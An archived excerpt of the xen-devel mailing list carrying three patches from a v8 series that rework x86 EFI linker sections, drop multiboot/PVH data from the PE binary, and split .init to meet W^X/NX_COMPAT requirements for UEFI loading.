        d=gmail.com; s=20251104; t=1784096534; x=1784701334; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:mime-version:references
         :in-reply-to:message-id:date:subject:cc:to:from:from:to:cc:subject
         :date:message-id:reply-to:content-type;
        bh=FqYWTs8G33kIjfb7qWPUTwZdIykiHkYIeo/EcHEwy6s=;
        b=NypO/5kiEm9EPx0O6E88q3JFxnfLEXdtyOvodX49omRbWRr6EUP6CTLWq/EWMWTvXH
         0wACMIK2x6/IqxtYIO2PnO7N2mFIoUjoLLXbezqZXrSAhxCMMzKzG2szodAE/KvB6F13
         gWsGQInEd+BBCwEn74abNTwyHPV6jDlWYi3n38CNUV/M95VsmORFhImTHKp+TWMRPtxe
         8cyJzrIL1V0OHy9csmtayAMj/7ijZqzQwTl9jdUKOsUVilRMlHsxJJBHGyhqdTXsn9PW
         o6KNeQxWcR7ebS/zfKmvAeUjFi/h4Ufkm5gxJJRMxTmV8VefB3wDaIut87Ho4/Voua+g
         u+Gg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784096534; x=1784701334;
        h=content-transfer-encoding:content-type:mime-version:references
         :in-reply-to:message-id:date:subject:cc:to:from:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=FqYWTs8G33kIjfb7qWPUTwZdIykiHkYIeo/EcHEwy6s=;
        b=b6uhaJmjj7cbZpMVTOmvvSvq5mF2sZw08tDj/DZT3Tho5aqzelXTFHxXvb1AYQoW6b
         ZKWmt2y9YRuIL3K6kf1bHBG0SXVvSgiVxNVIsKkeL1Ybl67NHNdrhc6rUxl6C4U8+jPh
         1mCNxhKwQlE4ngtG08XJkWP6KJg8QWoclc+bXC5BaLA8eux4RJLZxLA6JxXhnN2gL38V
         DhApAhZdZbxPby2x1hoo4ItPkx6vqyTxvZu3JwAUFqpjFF1dYlHNKHJabANUfNvE1eQr
         2f22ORz/3guCYouHFKtRehcpTg5CfS4FILVTvQvk9AuBQroxT5QblK14AQRna/Vl5bJK
         5nTw==
X-Gm-Message-State: AOJu0YxN2xW/PsLh27tQDSMbGmwMwsAtj0X5LXd6JI0EIOT++UVOetXk
	Ke8eo5xqFsFOCyL7oV5aKEnBrrBn5Hc13U+3KBEuv9j0ZcgUN2EyPbruBmov14l45QssWQ==
X-Gm-Gg: AfdE7cln1TnzNOcyOXnDoU8vOoS0sE3JS4iJT1ynrOLnbevvJAWMskagQpzKLJ23EiV
	MMm9Xq4zohhRoiJvdyJmbmJAhBQFgeBd8UriLFbEQYbAyhHHJszDpqScjToTdwx5ZVt7CQ37LMu
	HtOZCli5mWtrM1IqjbFyqgLfbfLGkr84HELqIujMJbXLvjSHS7Eg0Q17kygJeSbMwsI8HDmath1
	Y9d/1dyQzCGdmwP1j5zNnoUpy4+pXnfzNCD8RcPJSYq1bRXpK0kObvfPI5eof6j5Nt123DegKuW
	6e8zjn+3pYONfHda9a8UNG/tq3UrhXT4fe35Hlq4IlYT39idn6YH2XXeka63GDL4jfUp0m330kr
	ehZGuo3Fy1Gf2B/QviQlpUGd2uaROxH/bxV28ApGdJ8mJXH5Wzd56s3nXSocmMu4Ba7///e85r6
	t3uNdp33f8Yj/FscfsV81EUe4+T7Lb/yBDYRyn7Jr4eweDwAEp2TnAJ4X2sDlQDQa4CYW+QsRL1
	45hpzgsWF4EW5mO5mU=
X-Received: by 2002:a05:600c:4e0d:b0:495:39dc:583d with SMTP id 5b1f17b1804b1-4953c150667mr15497415e9.6.1784096534038;
        Tue, 14 Jul 2026 23:22:14 -0700 (PDT)
From: Frediano Ziglio <freddy77@gmail.com>
X-Google-Original-From: Frediano Ziglio <frediano.ziglio@citrix.com>
To: xen-devel@lists.xenproject.org
Cc: =?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Jan Beulich <jbeulich@suse.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Teddy Astie <teddy.astie@vates.tech>,
	=?UTF-8?q?Marek=20Marczykowski-G=C3=B3recki?= <marmarek@invisiblethingslab.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Michal Orzel <michal.orzel@amd.com>,
	Julien Grall <julien@xen.org>,
	Stefano Stabellini <sstabellini@kernel.org>,
	Frediano Ziglio <frediano.ziglio@citrix.com>
Subject: [PATCH v8 2/4] x86/efi: discard multiboot and PVH support for PE binary
Date: Wed, 15 Jul 2026 07:22:04 +0100
Message-ID: <20260715062206.328049-3-frediano.ziglio@citrix.com>
X-Mailer: git-send-email 2.43.0
In-Reply-To: <20260715062206.328049-1-frediano.ziglio@citrix.com>
References: <20260715062206.328049-1-frediano.ziglio@citrix.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-33051d/1784096534-6C6DE4E9-3504AE32/0/0
X-purgate-type: clean
X-purgate-size: 5251

From: Roger Pau MonnÃ© <roger.pau@citrix.com>

Multiboot and PVH booting are not supported for PE, hence discards them
in the linker script when doing a PE build.

That removes some relocations that otherwise appear due to the usage of the
start and __efi64_mb2_start symbols in the multiboot2 header.

Section discarding is not done updating DISCARD_SECTIONS definition as the
change is specific for x86.

No functional change intended.

Signed-off-by: Roger Pau MonnÃ© <roger.pau@citrix.com>
Signed-off-by: Frediano Ziglio <frediano.ziglio@citrix.com>
Reviewed-by: Jan Beulich <jbeulich@suse.com>
Acked-by: Marek Marczykowski-GÃ³recki <marmarek@invisiblethingslab.com>
---
Changes since v1:
- improve commit message;
- change section orders to avoid changing code order in final executable;
- merge 2 commits;
- removed deprecated documentation section.

Changes since v2:
- Update commit message, join 2 sentences together.

Changes since v3:
- Added Acked-by.

Changes since v4:
- more clear subject;
- removed more code/data from EFI output;
- removed Acked-by.

Changes since v5:
- simplify section exclusion using more wildcard;
- exclude more multiboot functions.

Changes since v7:
- added Reviewed-by.

Changes since v8:
- added Acked-by.
---
 docs/hypervisor-guide/x86/how-xen-boots.rst | 6 ------
 xen/arch/x86/boot/head.S                    | 8 ++++----
 xen/arch/x86/xen.lds.S                      | 7 +++++++
 xen/tools/combine_two_binaries.py           | 2 +-
 4 files changed, 12 insertions(+), 11 deletions(-)

diff --git a/docs/hypervisor-guide/x86/how-xen-boots.rst b/docs/hypervisor-guide/x86/how-xen-boots.rst
index 8b3229005c..b6d852050a 100644
--- a/docs/hypervisor-guide/x86/how-xen-boots.rst
+++ b/docs/hypervisor-guide/x86/how-xen-boots.rst
@@ -82,12 +82,6 @@ When a PEI-capable toolchain is found, the objects are linked together and a
 PE32+ binary is created.  It can be run directly from the EFI shell, and has
 ``efi_start`` as its entry symbol.
 
-.. note::
-
-   xen.efi does contain all MB1/MB2/PVH tags included in the rest of the
-   build.  However, entry via anything other than the EFI64 protocol is
-   unsupported, and won't work.
-
 
 Boot
 ----
diff --git a/xen/arch/x86/boot/head.S b/xen/arch/x86/boot/head.S
index 68b963ce6f..981f262b5e 100644
--- a/xen/arch/x86/boot/head.S
+++ b/xen/arch/x86/boot/head.S
@@ -126,7 +126,7 @@ multiboot2_header:
         .size multiboot2_header, . - multiboot2_header
         .type multiboot2_header, @object
 
-        .section .init.rodata, "a", @progbits
+        .section .init.rodata.multiboot, "a", @progbits
 
 .Lbad_cpu_msg: .asciz "ERR: Not a 64-bit CPU!"
 .Lbad_ldr_msg: .asciz "ERR: Not a Multiboot bootloader!"
@@ -137,8 +137,7 @@ multiboot2_header:
 .Lno_nx_msg:   .asciz "ERR: Not an NX-capable CPU!"
 #endif
 
-        .section .init.data, "aw", @progbits
-        .subsection 1 /* Put data here after the page tables (in x86_64.S). */
+        .section .init.data.multiboot, "aw", @progbits
         .align 4
 
         .word   0
@@ -154,7 +153,7 @@ vga_text_buffer:
 efi_platform:
         .byte   0
 
-        .section .init.text, "ax", @progbits
+        .section .init.multiboot, "ax", @progbits
 
 early_error: /* Here to improve the disassembly. */
 
@@ -712,6 +711,7 @@ trampoline_setup:
         /* Jump into the relocated trampoline. */
         lret
 
+        .section .init.text, "ax", @progbits
 ENTRY(trampoline_start)
 #include "trampoline.S"
 ENTRY(trampoline_end)
diff --git a/xen/arch/x86/xen.lds.S b/xen/arch/x86/xen.lds.S
index 8e63cf5bc2..4ed1d2bec1 100644
--- a/xen/arch/x86/xen.lds.S
+++ b/xen/arch/x86/xen.lds.S
@@ -57,6 +57,10 @@ SECTIONS
   __image_base__ = .;
 #else
   . = __image_base__;
+  /DISCARD/ : {
+    *(.text.header)
+    *(.init.*multiboot)
+  }
 #endif
 
 #if 0
@@ -195,6 +199,7 @@ SECTIONS
   DECL_SECTION(.init.text) {
 #endif
        _sinittext = .;
+       *(.init.multiboot)
        *(.init.text)
        *(.text.startup)
        _einittext = .;
@@ -220,6 +225,7 @@ SECTIONS
        *(.init.rodata.cf_clobber)
        __initdata_cf_clobber_end = .;
 
+       *(.init.rodata.multiboot)
        *(.init.rodata)
        *(.init.rodata.*)
 
@@ -234,6 +240,7 @@ SECTIONS
        *(.initcall1.init)
        __initcall_end = .;
 
+       *(.init.data.multiboot)
        *(.init.data)
        *(.init.data.rel)
        *(.init.data.rel.*)
diff --git a/xen/tools/combine_two_binaries.py b/xen/tools/combine_two_binaries.py
index 581e57cbc0..5f0433dcad 100755
--- a/xen/tools/combine_two_binaries.py
+++ b/xen/tools/combine_two_binaries.py
@@ -33,7 +33,7 @@ parser.add_argument('--map', dest='mapfile',
 parser.add_argument('--exports', dest='exports',
                     help='Symbols to export')
 parser.add_argument('--section-header', dest='section_header',
-                    default='.section .init.text, "ax", @progbits',
+                    default='.section .init.multiboot, "ax", @progbits',
                     help='Section header declaration')
 parser.add_argument('-v', '--verbose',
                     action='store_true')
-- 
2.43.0



From xen-devel-bounces@lists.xenproject.org Wed Jul 15 06:22:18 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 15 Jul 2026 06:22:18 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1362691.1614477 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjt0c-0001x0-ES; Wed, 15 Jul 2026 06:22:18 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1362691.1614477; Wed, 15 Jul 2026 06:22:18 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjt0c-0001wr-9f; Wed, 15 Jul 2026 06:22:18 +0000
Received: by outflank-mailman (input) for mailman id 1362691;
 Wed, 15 Jul 2026 06:22:16 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <freddy77@gmail.com>) id 1wjt0a-0001gi-Ej
 for xen-devel@lists.xenproject.org; Wed, 15 Jul 2026 06:22:16 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wjt0Z-00DZsc-Ri
 for xen-devel@lists.xenproject.org; Wed, 15 Jul 2026 08:22:15 +0200
Received: from [10.42.69.11] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <freddy77@gmail.com>)
 id 6a572717-e002-0a2a0a5209dd-0a2a450b9e78-6
 for <xen-devel@lists.xenproject.org>; Wed, 15 Jul 2026 08:22:15 +0200
Received: from [209.85.128.49] (helo=mail-wm1-f49.google.com)
 by tlsNG-42698a.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <freddy77@gmail.com>)
 id 6a572717-b7e8-0a2a450b0019-d1558031b901-3
 for <xen-devel@lists.xenproject.org>; Wed, 15 Jul 2026 08:22:15 +0200
Received: by mail-wm1-f49.google.com with SMTP id
 5b1f17b1804b1-493c52cde9eso43221505e9.3
 for <xen-devel@lists.xenproject.org>; Tue, 14 Jul 2026 23:22:15 -0700 (PDT)
Received: from localhost.localdomain (2.115.147.147.dyn.plus.net.
 [147.147.115.2]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47f4635a63esm14336663f8f.9.2026.07.14.23.22.14
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Tue, 14 Jul 2026 23:22:14 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:Content-Type:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1784096535; x=1784701335; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:mime-version:references
         :in-reply-to:message-id:date:subject:cc:to:from:from:to:cc:subject
         :date:message-id:reply-to:content-type;
        bh=HzSJO6a2Zt2m1n1ujDT4uRTju/cRsXyLEg5Me9ypANU=;
        b=snwnbrF6yAzAElnHSrzq/N9y4zjYqeqH/bx0kWfhsqWOjfzU6UJSW2btzuc7Rli52Y
         vQRvi1ssRVoLWxZ9iesIqWNN6vZYnr/V+nHfoDeB4bHDRfh3o6ZLnwKWaGynIGnp+YJC
         HGnQE36KW/3jAO5z+QQPjNFuc1MWcfvPwCwEEVUi6Hi36AnJH1505MCkCpXGLOCTdqrT
         bUVs7i48uUqhzD2vOpO4yb0Aeg5e0hkfGIFEksvRXV5/dlo4uw5HFdZEobn7zT1cPk3T
         yqDWURFBD7eUpICYnLhzEIJoKdaeXcSpNW1CBjM5xZzxWT4Wsb0pMhXFA1ulVOwq69hu
         RtjQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784096535; x=1784701335;
        h=content-transfer-encoding:content-type:mime-version:references
         :in-reply-to:message-id:date:subject:cc:to:from:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=HzSJO6a2Zt2m1n1ujDT4uR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berxb742UFlRs=
X-Received: by 2002:a05:600c:8a0d:10b0:495:3b8a:5e17 with SMTP id 5b1f17b1804b1-4953b8a5e5amr14974785e9.16.1784096534938;
        Tue, 14 Jul 2026 23:22:14 -0700 (PDT)
From: Frediano Ziglio <freddy77@gmail.com>
X-Google-Original-From: Frediano Ziglio <frediano.ziglio@citrix.com>
To: xen-devel@lists.xenproject.org
Cc: =?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	"Daniel P. Smith" <dpsmith@apertussolutions.com>,
	=?UTF-8?q?Marek=20Marczykowski-G=C3=B3recki?= <marmarek@invisiblethingslab.com>,
	Jan Beulich <jbeulich@suse.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Teddy Astie <teddy.astie@vates.tech>,
	Frediano Ziglio <frediano.ziglio@citrix.com>
Subject: [PATCH v8 3/4] x86/efi: avoid a relocation in efi_arch_post_exit_boot()
Date: Wed, 15 Jul 2026 07:22:05 +0100
Message-ID: <20260715062206.328049-4-frediano.ziglio@citrix.com>
X-Mailer: git-send-email 2.43.0
In-Reply-To: <20260715062206.328049-1-frediano.ziglio@citrix.com>
References: <20260715062206.328049-1-frediano.ziglio@citrix.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-42698a/1784096535-2C59A9EA-68D735A4/0/0
X-purgate-type: clean
X-purgate-size: 1970

From: Roger Pau MonnÃ© <roger.pau@citrix.com>

Instead of using the absolute __start_xen address, calculate it as an
offset from the current instruction pointer.  The relocation would be
problematic if the generated PE binary had .init.text as a standalone
section with just read and execute permissions.

Removing this relocation is necessary to make it safe to split .init.

No functional change intended.

Signed-off-by: Roger Pau MonnÃ© <roger.pau@citrix.com>
Signed-off-by: Frediano Ziglio <frediano.ziglio@citrix.com>
Acked-by: Marek Marczykowski-GÃ³recki <marmarek@invisiblethingslab.com>
---
Changes since v1:
- Improve commit message.

Changes since v3:
- Added Acked-by.

Changes since v6:
- remove spurious quote.
---
 xen/arch/x86/efi/efi-boot.h | 7 +++++--
 1 file changed, 5 insertions(+), 2 deletions(-)

diff --git a/xen/arch/x86/efi/efi-boot.h b/xen/arch/x86/efi/efi-boot.h
index d738b839ee..b983f054b5 100644
--- a/xen/arch/x86/efi/efi-boot.h
+++ b/xen/arch/x86/efi/efi-boot.h
@@ -270,7 +270,9 @@ static void __init noreturn efi_arch_post_exit_boot(void)
 
                    /* Jump to higher mappings. */
                    "mov    stack_start(%%rip), %%rsp\n\t"
-                   "movabs $__start_xen, %[rip]\n\t"
+                   "lea    __start_xen(%%rip), %[rip]\n\t"
+                   "add    %[offset], %[rip]\n\t"
+
                    "push   %[cs]\n\t"
                    "push   %[rip]\n\t"
                    "lretq"
@@ -278,7 +280,8 @@ static void __init noreturn efi_arch_post_exit_boot(void)
                      [cr4] "+&r" (cr4)
                    : [cr3] "r" (idle_pg_table),
                      [cs] "i" (__HYPERVISOR_CS),
-                     [ds] "r" (__HYPERVISOR_DS)
+                     [ds] "r" (__HYPERVISOR_DS),
+                     [offset] "r" (__XEN_VIRT_START - xen_phys_start)
                    : "memory" );
     unreachable();
 }
-- 
2.43.0



From xen-devel-bounces@lists.xenproject.org Wed Jul 15 06:22:19 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 15 Jul 2026 06:22:19 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1362692.1614486 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjt0d-0002CJ-OY; Wed, 15 Jul 2026 06:22:19 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1362692.1614486; Wed, 15 Jul 2026 06:22:19 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjt0d-0002C1-IZ; Wed, 15 Jul 2026 06:22:19 +0000
Received: by outflank-mailman (input) for mailman id 1362692;
 Wed, 15 Jul 2026 06:22:17 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <freddy77@gmail.com>) id 1wjt0b-0001hP-AR
 for xen-devel@lists.xenproject.org; Wed, 15 Jul 2026 06:22:17 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wjt0a-00Chgm-Gk
 for xen-devel@lists.xenproject.org; Wed, 15 Jul 2026 08:22:16 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <freddy77@gmail.com>)
 id 6a572718-2eae-0a2a0a5409dd-0a2a4503edba-6
 for <xen-devel@lists.xenproject.org>; Wed, 15 Jul 2026 08:22:16 +0200
Received: from [209.85.221.46] (helo=mail-wr1-f46.google.com)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <freddy77@gmail.com>)
 id 6a572718-fae8-0a2a45030019-d155dd2eac99-3
 for <xen-devel@lists.xenproject.org>; Wed, 15 Jul 2026 08:22:16 +0200
Received: by mail-wr1-f46.google.com with SMTP id
 ffacd0b85a97d-47122683cf3so2817079f8f.0
 for <xen-devel@lists.xenproject.org>; Tue, 14 Jul 2026 23:22:16 -0700 (PDT)
Received: from localhost.localdomain (2.115.147.147.dyn.plus.net.
 [147.147.115.2]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47f4635a63esm14336663f8f.9.2026.07.14.23.22.15
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Tue, 14 Jul 2026 23:22:15 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:Content-Type:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1784096536; x=1784701336; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:mime-version:references
         :in-reply-to:message-id:date:subject:cc:to:from:from:to:cc:subject
         :date:message-id:reply-to:content-type;
        bh=xqQBYkVwo2VphdJUd/assmMfM7KdXYOfGeEjL/ARnds=;
        b=FN1vGwOW9ng01iDhG3JuZsfAiN9wOZRRmYL1Os//DxCZelirAIr96D/i0Mygml3TmZ
         8CoN66gl2oOrs3ZR4L1+Uhqk9rvoYKvZwdQlFpFZsJFNKd7841f2pZ9FHvotUhq4dfI+
         dq6pVfrtmCz6SKGj4GqB0QY1C2P0pz8haSM5H7HFtlomrNM7Q1Ox2viKDAiWg93/ojN3
         JSganAN1Xqx1tsQge/4U2SMrGZNiA5JyvL+la5ULK1zTEase6U27Q+Px+xW49VDZD8sd
         G8UNmpmm4sqclDiiTRscw4L9V1r4mEKDleAptSGDy6OSX/ezGVKmFmYLXeQNdt1f/brR
         ueCg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784096536; x=1784701336;
        h=content-transfer-encoding:content-type:mime-version:references
         :in-reply-to:message-id:date:subject:cc:to:from:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=xqQBYkVwo2VphdJUd/assmMfM7KdXYOfGeEjL/ARnds=;
        b=DDKL6N/cUd8sNonwBqXGeuvKIOc9qVUyyAQM8MTGGI0SE6pSMo026NOkhoE4U/poJo
         /tuaElZvgLZiIK2BvQgSuUZjGvmbJw9ytUJqlFb5BswpxfHNPJ4dt6ogolDxzW8aXPi6
         To+pqQPRVHvpiBJBLSHKN0oZ8trQra26nSJaPdXtvGrKahQyLouEtoaNycrW6jy861wH
         Cq0SdlYk47IhPnm2/iXcrEoUxfBBMIw1TUavgYT46mf8bHwUDaxz/T9bvySN7GjmiedV
         wOJBsfEPO1lySLXWJZo9nKmKRvp0rnBx+Fc0qPiv2Ck17NVgxhGf2ij7Zpcj48HaZ0Az
         j9ow==
X-Gm-Message-State: AOJu0YxRrA6Z2RKtlpZ3qqz9TECMGhijk2l080Bbbnxjxp0SOWQ//J1/
	tHb1Y663CsVblkuoyKl+nFwTHaub+K8w+RZ3bPIe7AAV1mnzBTlnQnmPMcFZY+wC0Sn6Uw==
X-Gm-Gg: AfdE7clJSFoWM5FbPzvyrakr/RmeLU6bQMR1Ur1yNhDJw3WMQ5tJQ5Cr4jIZ6sYBcpi
	aNUEl+5A/wp9PZmhA2dVS2Nf9cFQs1JH/YwBQfsIdHEf3IEPkjD+gyEJIBrtOa7v0ldQu4tobZD
	jQyInkikD+uAVDBlXXAkKMnX9XPaP8HktdsBKb13pKsFC7wUuRIzTV8QlCWRBeTn7026fhVLpj4
	25ShKNnf8m5dPyWWLRbwhIZZVBy4Nv9HSbEfaQ3f0u96PuVqJDstcboUizalEShUPlijWhaY+Pn
	MvcRGiqe/CKWFOdof56qM5h4g3mtujlvM3FKBY7NhEyCd3iiIlV/ajjAuw5PwvtyiPD4faJMWGi
	Juo9ZJpXj0Jr5xNpaERb1ctrlWEZu1EgTtir27C4QK23Dwo3OJEAqPhg8macoez3zEoEv+H5Tsf
	Gn3ARJVhW8usL/dPkvPTjI7ubYBCTeClSa6XuUtOX/oWEAWUBW5eWdB0toTQCGdkKgv2PyrRGmu
	gv8q8muuSNckNauj+M=
X-Received: by 2002:a5d:6843:0:b0:475:f0f0:9ef8 with SMTP id ffacd0b85a97d-47f464a4887mr5853955f8f.61.1784096535856;
        Tue, 14 Jul 2026 23:22:15 -0700 (PDT)
From: Frediano Ziglio <freddy77@gmail.com>
X-Google-Original-From: Frediano Ziglio <frediano.ziglio@citrix.com>
To: xen-devel@lists.xenproject.org
Cc: Frediano Ziglio <frediano.ziglio@citrix.com>,
	Jan Beulich <jbeulich@suse.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Teddy Astie <teddy.astie@vates.tech>,
	=?UTF-8?q?Marek=20Marczykowski-G=C3=B3recki?= <marmarek@invisiblethingslab.com>
Subject: [PATCH v8 4/4] x86: Split .init section to satisfy UEFI CA memory mitigation
Date: Wed, 15 Jul 2026 07:22:06 +0100
Message-ID: <20260715062206.328049-5-frediano.ziglio@citrix.com>
X-Mailer: git-send-email 2.43.0
In-Reply-To: <20260715062206.328049-1-frediano.ziglio@citrix.com>
References: <20260715062206.328049-1-frediano.ziglio@citrix.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-33051d/1784096536-6FCC34E9-4FF0E265/0/0
X-purgate-type: clean
X-purgate-size: 1904

Currently .init section is both writeable and executable, split data and code
to have 2 sections satisfying W^X rule.

It is a requirement for NX_COMPAT so the PE can be loaded with W^X perms
in the pagetables.

NX_COMPAT is a requirement from shim-review,
https://github.com/rhboot/shim-review#do-you-have-the-nx-bit-set-in-your-shim-if-so-is-your-entire-boot-stack-nx-compatible-and-what-testing-have-you-done-to-ensure-such-compatibility

Signed-off-by: Frediano Ziglio <frediano.ziglio@citrix.com>
Acked-by: Marek Marczykowski-GÃ³recki <marmarek@invisiblethingslab.com>
Acked-by: Jan Beulich <jbeulich@suse.com>
---
Change since v1:
- update comment style.

Changes since v3:
- Added Acked-by.

Changes since v4:
- Added Acked-by.
---
 xen/arch/x86/xen.lds.S | 12 ++++--------
 1 file changed, 4 insertions(+), 8 deletions(-)

diff --git a/xen/arch/x86/xen.lds.S b/xen/arch/x86/xen.lds.S
index 4ed1d2bec1..e26e37db13 100644
--- a/xen/arch/x86/xen.lds.S
+++ b/xen/arch/x86/xen.lds.S
@@ -193,11 +193,7 @@ SECTIONS
   __2M_init_start = .;         /* Start of 2M superpages, mapped RWX (boot only). */
   . = ALIGN(PAGE_SIZE);             /* Init code and data */
   __init_begin = .;
-#ifdef EFI /* EFI wants to merge all of .init.*  ELF doesn't. */
-  DECL_SECTION(.init) {
-#else
   DECL_SECTION(.init.text) {
-#endif
        _sinittext = .;
        *(.init.multiboot)
        *(.init.text)
@@ -210,12 +206,12 @@ SECTIONS
         */
        *(.altinstr_replacement)
 
-#ifdef EFI /* EFI wants to merge all of .init.*  ELF doesn't. */
-       . = ALIGN(SMP_CACHE_BYTES);
-#else
   } PHDR(text)
-  DECL_SECTION(.init.data) {
+#ifdef EFI
+  /* Align to satisfy UEFI CA memory mitigation. */
+  . = ALIGN(SECTION_ALIGN);
 #endif
+  DECL_SECTION(.init.data) {
        *(.init.bss.stack_aligned)
        *(.init.data.page_aligned)
 
-- 
2.43.0



From xen-devel-bounces@lists.xenproject.org Wed Jul 15 06:24:39 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 15 Jul 2026 06:24:39 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1362731.1614494 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjt2s-0003qJ-9J; Wed, 15 Jul 2026 06:24:38 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1362731.1614494; Wed, 15 Jul 2026 06:24:38 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjt2s-0003qC-6H; Wed, 15 Jul 2026 06:24:38 +0000
Received: by outflank-mailman (input) for mailman id 1362731;
 Wed, 15 Jul 2026 06:24:37 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wjt2r-0003pz-9X
 for xen-devel@lists.xenproject.org; Wed, 15 Jul 2026 06:24:37 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wjt2q-0024MQ-MP
 for xen-devel@lists.xenproject.org; Wed, 15 Jul 2026 08:24:36 +0200
